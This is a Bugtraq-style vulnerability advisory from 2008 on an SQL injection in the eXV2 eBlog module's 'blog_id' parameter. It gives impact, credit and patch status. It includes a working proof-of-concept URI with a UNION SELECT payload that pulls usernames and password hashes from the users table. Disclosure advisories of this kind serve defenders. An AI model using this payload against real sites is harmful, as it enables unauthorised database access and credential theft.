eXV2 'eBlog' Module 'blog_id' Parameter SQL Injection Vulnerability

Bugtraq ID:	28223
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Mar 12 2008 12:00AM
Updated:	Mar 14 2008 10:21PM
Credit:	S@BUN is credited with the discovery of this vulnerability.
Vulnerable:	eXV² eBlog Module 1.200
Not Vulnerable:

eXV2 'eBlog' Module 'blog_id' Parameter SQL Injection Vulnerability

eXV2 'eBlog' module is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

eBlog 1.200 is vulnerable; other versions may also be affected.

eXV2 'eBlog' Module 'blog_id' Parameter SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following proof-of-concept URI is available:

http://www.example.com/modules/eblog/index.php?blog_id=-9999999/**/union/**/select/**/concat(uname,0x3a,pass)/**/from/**/e_xoops_users/*where%20exv2_admin%201

eXV2 'eBlog' Module 'blog_id' Parameter SQL Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

eXV2 'eBlog' Module 'blog_id' Parameter SQL Injection Vulnerability

References:

• eBlog Download Page (eXV² Filecenter)
  
• Vendor Homepage (eXV²)